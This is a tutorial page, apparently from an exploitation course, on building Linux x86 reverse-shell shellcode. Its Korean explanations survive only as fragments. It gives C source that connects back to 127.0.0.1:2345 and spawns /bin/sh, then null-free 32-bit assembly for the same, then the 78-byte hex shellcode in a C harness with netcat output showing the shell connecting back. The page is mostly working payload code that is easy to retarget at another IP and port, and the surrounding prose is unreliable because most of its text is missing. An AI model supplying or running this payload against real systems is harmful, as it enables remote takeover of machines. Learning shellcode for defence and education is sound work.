04.Reverse Shellcode

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- Reverse Shellcode
  - C language
  - Test program
  - Connect()
  - Assembly code
  - Test program
- Related site
- Comments

Reverse Shellcode

- **Bind Shellcode Server Port .**
  - .
    - .
    - .
    - , Bind Shellcode .
- **.**
  - , PC .
  - Reverse Shellcode Port , IP,Port .

C language

- **Bind shellcode .**
  - socket() Socket .
  - connect() .
  - dup2() Socket() (,,) () .
  - execve() "/bin/sh" .

reverse.c

```
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
        int i, server_sockfd;
        socklen_t socklen;
        struct sockaddr_in server_addr;

        char *argv[] = { "/bin/sh", NULL};
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(2345);
        server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        server_sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
        connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

        for(i = 0; i <= 2; i++)
                dup2(server_sockfd, i);

        execve( "/bin/sh", argv, NULL );
}
```

Test program

- nc port .

Create server

```
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
```

- .

Connect to the server

```
lazenca0x0@ubuntu:~/back$ gcc -o reverse reverse.c
lazenca0x0@ubuntu:~/back$ ./reverse
```

- nc Port , nc "/bin/sh" .

Client connected

```
lazenca0x0@ubuntu:~$ nc -l -p 2345 -v
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 55482)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
exit
lazenca0x0@ubuntu:~$
```

Connect()

- connect() .

SYNOPSIS

```
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
```

- 3.

/usr/include/linux/net.h

```
lazenca0x0@ubuntu:~$ cat /usr/include/linux/net.h |grep connect
#define SYS_CONNECT        3                /* sys_connect(2)                */
        SS_UNCONNECTED,                        /* unconnected to any socket        */
        SS_CONNECTING,                        /* in process of connecting        */
        SS_CONNECTED,                        /* connected to socket                */
        SS_DISCONNECTING                /* in process of disconnecting        */
lazenca0x0@ubuntu:~$
```

Assembly code

- "server_addr.sin_addr.s_add" .
  - IP Address 32bit, 8 bit .
  - Shellcode 8bit IP Address .
  - 127.0.0.1 127.1.1.1 .

IP Address

IP Address	127.1.1.1
Hex	7f.01.01.01
Little-endian format	0x0101017f

reverse-asm.s

```
BITS 32

;socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
push BYTE 102                        ; socketcall    102 Stack .
pop eax                                        ; Stack     EAX  .
cdq                                                ; EDX  DWORD  Null byte .
push dword 1                       ; socket    1 Stack .
pop ebx                                        ; socketcall()  1 (EBX ) SYS_SOCKET(1)  .
;
push edx                                ; socket()  3   0 Stack .
push ebx                                ; socket()  2   SOCK_STREAM(1) Stack .
push BYTE 2                ; socket()  1   PF_INET(2) Stack .
mov ecx, esp               ; socketcall()  2 (ECX )    (ESP )  .
int 0x80

;server_sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xchg edx,eax                       ;      EDX  .

;connect(server_sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
mov al, 0x66                       ; socketcall    102 Stack .
;struct sockaddr_in server_addr;
push DWORD 0x0101017f        ; server_addr.sin_addr.s_addr = inet_addr("127.1.1.1"); Little-endian
push WORD 0x2909                ; server_addr.sin_port = htons(2345); Little-endian
inc ebx                                        ;
push WORD bx                       ; server_addr.sin_family = AF_INET;
mov ecx, esp                       ; ECX server_addr    .
push BYTE 16                       ; connect()  3   16 Stack .
push ecx                                ; connect()  2   &server_addr Stack .
push edx                                ; connect()  1   server_sockfd Stack .
mov ecx, esp                       ; socketcall()  2   ECX   .
inc ebx                    ; socketcall()  1   SYS_CONNECT(3)  .
int 0x80

;for(i = 0; i <= 2; i++)
;        dup2(server_sockfd, i);
xchg edx,ebx        ; dup2  1  socket()     (0x5) .
push BYTE 0x2       ; Stack 2 .
pop ecx             ; dup2  2  2   .
dup2_call:
    mov BYTE al, 0x3F   ; dup2    (63) AL  .
    int 0x80            ;
    dec ecx             ; dup2()  2  (-1) .
    jns dup2_call       ;   (0) dup2_call  .

;execve( "/bin/sh", argv, NULL );
mov BYTE al, 11     ; execve()     11 EAX .
xor edx, edx
push edx            ;     Null  Stack .
push 0x68732f2f     ;  "//sh" Stack . Little-endian
push 0x6e69622f     ;  "/bin" Stack . Little-endian
mov ebx, esp        ; execve()  1  ESP   .
push edx            ; Stack Null .
mov edx, esp        ; execve()  3  Null   (ESP) .
push ebx            ; Stack "/bin//sh"  (EBX) .
mov ecx, esp        ; execve()  2   (ESP,["/bin//sh"],[Null]) .
int 0x80            ;
```

Test program

revShell.c

```
#include<stdio.h>
#include<string.h>

unsigned char shellcode [] =
"\x6a\x66\x58\x99\x6a\x1\x5b\x52\x53\x6a\x2\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x1\x1\x1\x66\x68\x9\x29\x43\x66\
x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x2\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\xb\x31\xd2\x5
2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
unsigned char code[] = "";

void main()
{
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
    (*(void(*)()) code)();
}
```

- nc .

```
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
```

- reverse.c .

```
lazenca0x0@ubuntu:~/Reverse$ gcc -o revShell -z execstack -m32 revShell.c
lazenca0x0@ubuntu:~/Reverse$ ./revShell
Shellcode len : 78
```

- Shellcode nc "/bin/sh" .

```
lazenca0x0@ubuntu:~$ nc -lvp 2345
Listening on [0.0.0.0] (family 0, port 2345)
Connection from [127.0.0.1] port 2345 [tcp/*] accepted (family 2, sport 48860)
id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
```

Related site

- http://man7.org/linux/man-pages/man2/connect.2.html

Comments

Unknown macro: 'html'

Unknown macro: 'html'